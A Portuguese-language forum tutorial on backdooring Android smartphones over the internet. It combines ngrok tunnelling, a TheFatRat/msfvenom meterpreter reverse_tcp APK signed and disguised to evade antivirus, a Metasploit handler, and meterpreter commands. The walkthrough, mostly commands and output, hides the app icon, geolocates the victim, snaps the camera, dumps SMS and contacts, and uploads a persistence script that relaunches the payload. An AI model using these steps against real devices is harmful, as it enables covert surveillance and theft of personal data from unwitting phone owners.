Fat Rat + Ngrok + Metasploit

Descrição

Este post aborda uma simples utilização de backdoor em smartphones não apenas em lan onde seria executado na sua rede, mas também em WAN, para isso utilizaremos as seguintes tools:

Metasploit – https://github.com/rapid7/metasploit-fr … Installers
TheFatRat – https://github.com/Screetsec/TheFatRat
ngrok – https://ngrok.com/

Foram utilizadas os seguintes equipamentos para este paper:

1. ngrok

O ngrok é uma tool utilizada principalmente para disponibilizar um host como web server, sendo possível acessá-lo através da internet, ele abre um túnel que conecta aos servers do ngrok e repassa para o host em rede interna. Neste paper o ngrok será utilizado para receber a conexão vinda do alvo através da internet e repassa-la ao computador atacante na rede interna como dito anteriormente, substituindo o papel do router de redirecionar a conexão, é possível também utilizar o router para realizar essa função, porém queria utilizar o ngrok pois facilita a vida de ficar configurando o router sempre que for fazer essa parada. Para utilizar o ngrok é simples, basta informar o protocolo e a porta:

Código: [url=#]Selecionar todos[/url]
Código:Karona@ubuntu:~$
./ngrok tcp 4444Session StatusonlineVersion2.2.8RegionUnited States
(us)Web
Interfacehttp://127.0.0.1:4040Forwardingtcp:/0.tcp.ngrok.io:18889 ->
localhost:4444
Ele fornece algumas informações que poderemos utilizar, uma delas é a interface através do navegador, então digitando localhost:4040 levará em uma página, mas o que será utilizado de importante para o hask é a ‘Forwarding’, onde o ngrok nos dará um endereço pada a rede externa e nos mostra em que endereço ele redireciona a conexão (localhost) para a porta 4444 passada como parâmetro no comando acima.
Uma breve explicação mais detalhada do papel do ngrok é que ele primeiro irá gerar um link e uma porta, esse link e a porta ficarão no payload (app) para quando o target executá-lo o payload saiba em que lugar iniciar a conexão, então a conexão será estabelecida com o servidor do ngrok e repassará para o host em que foi executado o programinha do mesmo, assim basta setar no metasploit apenas o localhost e a porta que foi aberta (4444, poderia ser qualquer outra). A imagem abaixo representa essa conexão:

Metasploit + TheFatRat + ngrok] Hackeando smartphones a partir da WAN by KaR0Na - Meu mestre! JTSNbNr

A imagem a seguir representa como seria a conexão utilizando o router, a grande diferença é que o payload carrega consigo seu endereço de IP público, se o target fizer uma engenharia reversa e descobrir seu public IP nele, corra berg!

Metasploit + TheFatRat + ngrok] Hackeando smartphones a partir da WAN by KaR0Na - Meu mestre! 8CTOWhJ

2. TheFatRat

O TheFatRat é uma tool para gerar um payload em conjunto com o Metasploit criando-o com o msfvenom e camufla o payload para não ser detectado pela maioria dos antivírus, o TFR é importante nessa etapa pois o payload criado a partir do msfvenom (cru) não funcionaria em alguns aparelhos (principalmente os mais novos), então navegando por aí percebi que alguns smartphones utilizam uma certa ‘assinatura’ ou certificado que faz com que apps de origem duvidosa não sejam instalados, ou não nos permite . Aqui estão algumas opções que o TheFatRat oferece (numa tradução deveras duvidosa):

  • Criar backdoor para windows, Linux, Mac e Android
  • Bypass em antivírus
  • Verifica o serviço do metasploit e inicia se não estiver presente
  • Cria facilmente payloads do meterpreter/reverse_tcp para Windows, Linux, Android e Mac
  • Inicia múltiplos listners do meterpreter/reverse_tcp
  • Pesquisa rápida no searchsploit
  • Bypass AV
  • File pumper
  • Cria backdoor com outra técnica
  • Auto inicia scripts para listeners (fácil de usar)
  • Drop into Msfconsole
  • Algumas outras coisas divertidas

Se reparar bem, no menu inicial do TFR encontrará diversas opções interessantes, não entrarei em detalhes pois não é esse o objetivo.
Para utilizá-lo é preciso apenas selecionar algumas opções e informar alguns parâmetros, para este post foi criado um payload com a extensão .apk pois este é um arquivo que o android aceita para a instalação. Para criá-lo é preciso iniciar o fatrat como usuário root:

Código: [url=#]Selecionar todos[/url]
Código:karona@ubuntu:~$ sudo fatratA criação do payload é simples, basta seguir as opções (utilizando # para comentar cada opção):

Código: [url=#]Selecionar todos[/url]
Código:[01]Create
Backdoor with msfvenom # cria a backdoor com msfvenom[3]SIGNED ANDROID
>> FatRat.apk # para criar o payload com a extensão .apkSet LHOST
IP: 0.tcp.ngrok.io# aqui é setado o endereço do ngrokSet LPORT: 18889#
aqui é setado a portaPlease enter the base name for output files :
aurora # nesta parte será o nome do payload (poderia ser vivoturbo)[ 3 ]
android/meterpreter/reverse_tcp # com esta opção é setado o payload[*]
Creating RAT payload with msfvenom[] Done![*] Creating a Valid
Certificate[] Done![*] Signing your payload APK[] Done!Your payload apk
was created and signed , and it is located in :
/opt/TheFatRat/backdoored/aurora.apk# localização do .apk (aurora.apk)
[*]
A criação do payload com o msfvenom ficariam dessa maneira:

Código: [url=#]Selecionar todos[/url]
Código:Karona@ubuntu:~$
sudo msfvenom -p android/meterpreter/reverse_tcp LHOST=0.tcp.ngrok.io
LPORT=18889 -o /home/Karona/Desktop/aurora.apk
3. Metasploit

O metasploit é uma das tools mais conhecidas na exploração de vulns, possuindo centenas de exploits e payloads. Com o metasploit aberto é preciso passar algumas informações, como o endereço do host e a porta, no caso do host tanto faz setar 127.0.0.1 ou localhost como endereço do host que abrirá a conexão.

Código:msf5> use exploit/multi/handlermsf5
exploit(multi/handler) > set payload
android/meterpreter/reverse_tcppayload =>
android/meterpreter/reverse_tcpmsf5 exploit(multi/handler) > set
LHOST localhostLHOST => localhostmsf5 exploit(multi/handler) > set
LPORT 4444LPORT => 4444msf5 exploit(multi/handler) > run
Depois de enviar o aurora.apk para o target, deverá ser instalado no smartphone para que a backdoor tenha êxito, e talvez aberto o app. Utilizando o comando ‘?’ é possível ver muitos outros comandos:

Código:meterpreter> ?Core
Commands=============CommandDescription------------------?Help
menubackgroundBackgrounds the current sessionbgAlias for
backgroundbgkillKills a background meterpreter scriptbglistLists running
background scriptsbgrunExecutes a meterpreter script as a background
threadchannelDisplays information or control active channelscloseCloses a
channeldisable_unicode_encodingDisables encoding of unicode
stringsenable_unicode_encodingEnables encoding of unicode
stringsexitTerminate the meterpreter sessionget_timeoutsGet the current
session timeout valuesguidGet the session GUIDhelpHelp menuinfoDisplays
information about a Post moduleirbOpen an interactive Ruby shell on
the current sessionloadLoad one or more meterpreter
extensionsmachine_idGet the MSF ID of the machine attached to the
sessionpryOpen the Pry debugger on the current sessionquitTerminate the
meterpreter sessionreadReads data from a channelresourceRun the
commands stored in a filerunExecutes a meterpreter script or Post
modulesessionsQuickly switch to another sessionset_timeoutsSet the
current session timeout valuessleepForce Meterpreter to go quiet, then
re-establish session.transportChange the current transport
mechanismuseDeprecated alias for "load"uuidGet the UUID for the current
sessionwriteWrites data to a channelStdapi: File system
Commands============================CommandDescription------------------catRead
the contents of a file to the screencdChange directorychecksumRetrieve
the checksum of a filecpCopy source to destinationdirList files (alias
for ls)downloadDownload a file or directoryeditEdit a filegetlwdPrint
local working directorygetwdPrint working directorylcdChange local
working directoryllsList local fileslpwdPrint local working
directorylsList filesmkdirMake directorymvMove source to
destinationpwdPrint working directoryrmDelete the specified
filermdirRemove directorysearchSearch for filesuploadUpload a file or
directoryStdapi: Networking
Commands===========================CommandDescription------------------ifconfigDisplay
interfacesipconfigDisplay interfacesportfwdForward a local port to a
remote servicerouteView and modify the routing tableStdapi: System
Commands=======================CommandDescription------------------executeExecute
a commandgetuidGet the user that the server is running
aslocaltimeDisplays the target system's local date and timepgrepFilter
processes by namepsList running processesshellDrop into a system command
shellsysinfoGets information about the remote system, such as
OSStdapi: User interface
Commands===============================CommandDescription------------------screenshotGrab
a screenshot of the interactive desktopStdapi: Webcam
Commands=======================CommandDescription------------------record_micRecord
audio from the default microphone for X secondswebcam_chatStart a
video chatwebcam_listList webcamswebcam_snapTake a snapshot from the
specified webcamwebcam_streamPlay a video stream from the specified
webcamStdapi: Audio Output
Commands=============================CommandDescription------------------playplay
an audio file on target system, nothing written on diskAndroid
Commands================CommandDescription------------------activity_startStart
an Android activity from a Uri stringcheck_rootCheck if device is
rooteddump_calllogGet call logdump_contactsGet contacts listdump_smsGet
sms messagesgeolocateGet current lat-long using
geolocationhide_app_iconHide the app icon from the
launcherinterval_collectManage interval collection
capabilitiessend_smsSends SMS from target sessionset_audio_modeSet
Ringer Modesqlite_queryQuery a SQLite database from
storagewakelockEnable/Disable Wakelockwlan_geolocateGet current lat-long
using WLAN information
Todos os comandos estão listados acima, alguns interessantes que foram usados estão abaixo:

Código:hide_app_icon # esconde o app do target, porém ele
continuará sendo visto se for exibido os processos.geolocate # obtém o
geolocalização do smartphone.play# envia um audio para o target a
partir do compiuter (bem engraçado). Uso: play
/home/Karona/audio.mp3webcam_list # retorna os câmeras disponiveis no
celular.webcam_snap # tira uma foto com a câmera do celular. Uso:
webcam_snap 1screenshot # retira um print do monitor/tela do
celular.sysinfo# retorna informações da versão do android e do
smartphone.
3.1 Mantendo a conexão

Uma forma de manter a conexão com o dispositivo como o ‘run persistence’ no windows, é enviar um script para que o smartphone execute o app sem a interação do user, isso mantêm a conexão por mais tempo caso a mesma venha a cair.

Código:#!/bin/shwhile : ;doam start --user 0 -a android.intent.action.MAIN -n com.metasploit.stage/.MainActivitysleep 300done

Código:meterpreter > cd /meterpreter > cd
sdcardmeterpreter > upload /home/karona/Desktop/backdoor.sh[*]
uploading: /home/karona/Desktop/backdoor.sh -> backdoor.sh[*]
Uploaded -1.00 B of 124.00 B (-0.81%): /home/karona/Desktop/backdoor.sh
-> backdoor.sh[*] uploaded: /home/karona/Desktop/backdoor.sh ->
backdoor.shmeterpreter > shellProcess 1 created.Channel 2 created.sh
backdoor.sh

[*]
Agora se cair é só executar o ‘exploit’ e aguardar um tempo, que a conexão será estabelecida novamente. Se reiniciar o ngrok a conexão será perdida.